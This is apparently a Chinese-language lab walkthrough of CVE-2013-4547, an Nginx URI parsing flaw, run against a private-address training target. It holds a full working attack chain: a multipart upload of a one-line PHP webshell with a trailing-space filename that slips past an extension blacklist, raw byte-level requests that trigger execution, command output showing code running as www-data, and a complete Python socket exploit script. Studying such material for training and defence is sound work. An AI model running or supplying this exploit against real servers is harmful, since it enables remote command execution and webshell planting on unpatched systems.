漏洞信息
| 项目 | 内容 |
|---|---|
| CVE编号 | CVE-2013-4547 |
| 影响版本 | Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.6 |
| 靶场版本 | Nginx 1.4.2 + PHP 5.6.40 |
| 漏洞类型 | URI解析绕过 → RCE |
| 靶机地址 | http://192.168.229.60:8080 |
漏洞原理
Nginx在处理URI时存在解析缺陷:当URI中含有空格字节(0x20) 和**空字节(0x00)**时,Nginx对location规则的匹配结果与传递给PHP-FPM的文件名不一致。
请求 URI: /uploadfiles/1.gif<0x20><0x00>.php
↑ 规则匹配 ↑
Nginx 看到 → `\.php$` 匹配成功 → 传给 PHP-FPM
PHP-FPM 收到 → SCRIPT_FILENAME = "/var/www/html/uploadfiles/1.gif "
PHP 执行 → `/var/www/html/uploadfiles/1.gif ` 中的代码
-
Nginx location匹配时,空字节截断字符串 → 看到
.php就匹配了 -
但
SCRIPT_FILENAME只取到空格前 → 实际执行的是1.gif(带空格的GIF文件) -
上传时文件名
1.gif末尾空格绕过了php/phtml/php5黑名单
攻击步骤
Step 1:上传webshell(文件名末尾带空格)
原始HTTP请求:
POST /index.php HTTP/1.1
Host: 192.168.229.60:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx
Content-Length: xxx
Connection: close
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="file_upload"; filename="1.gif "
Content-Type: text/plain
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundaryxxx--
关键点: filename="1.gif " 末尾的空格 不能丢,pathinfo()检测到扩展名是 gif(非php)→ 上传成功。
Step 2:触发漏洞执行
Burp Suite操作(Hex模式):
-
在Repeater中切换到Hex视图
-
写出请求行:
GET /uploadfiles/1.gif HTTP/1.1 -
在
1.gif后面添加3个字节:20(空格)00(空字节) → 然后接.php -
最终URI原始字节:
/uploadfiles/1.gif<0x20><0x00>.php?cmd=id
完整请求:
GET /uploadfiles/1.gif<0x20><0x00>.php?cmd=id HTTP/1.1
Host: 192.168.229.60:8080
Connection: close
注意: <0x20>和<0x00>是原始字节 ,不是URL编码的%20%00!
Step 3:验证RCE
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Python版完整利用脚本
import socket, urllib.parse
# 1. 上传webshell(原始socket确保文件名空格保留)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.229.60', 8080))
boundary = b'----Boundary7MA4YWxkTrZu0gW'
php_code = b'<?php system($_GET["cmd"]); ?>'
body = b''
body += b'--' + boundary + b'\r\n'
body += b'Content-Disposition: form-data; name="file_upload"; filename="1.gif "\r\n'
body += b'Content-Type: text/plain\r\n\r\n'
body += php_code + b'\r\n'
body += b'--' + boundary + b'--\r\n'
req = b'POST /index.php HTTP/1.1\r\n'
req += b'Host: 192.168.229.60:8080\r\n'
req += b'Content-Type: multipart/form-data; boundary=' + boundary + b'\r\n'
req += b'Content-Length: ' + str(len(body)).encode() + b'\r\n'
req += b'Connection: close\r\n\r\n'
req += body
s.send(req)
s.close()
# 2. 利用CVE触发执行命令
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.229.60', 8080))
cmd = 'id'
uri = b'/uploadfiles/1.gif\x20\x00.php?cmd=' + urllib.parse.quote(cmd).encode()
req = b'GET ' + uri + b' HTTP/1.1\r\n'
req += b'Host: 192.168.229.60:8080\r\n'
req += b'Connection: close\r\n\r\n'
s.send(req)
resp = b''
while True:
d = s.recv(4096)
if not d: break
resp += d
s.close()
print(resp.decode('utf-8', errors='replace'))

关键要点总结
-
✅ 空格+空字节 是漏洞核心,必须用原始字节发送
-
✅ 上传文件名末尾必须带空格(文件系统支持)
-
✅ PHP的
pathinfo()不会trim空格 → 扩展名校验绕过 -
✅ Nginx 1.4.2 location匹配被空字节截断 → 认为以
.php结尾 -
✅ PHP-FPM收到的文件名是带空格版本 → 能找到实际文件并执行
-
⚠️ 普通curl的
-F参数会trim掉文件名末尾空格 → 必须用原始socket发送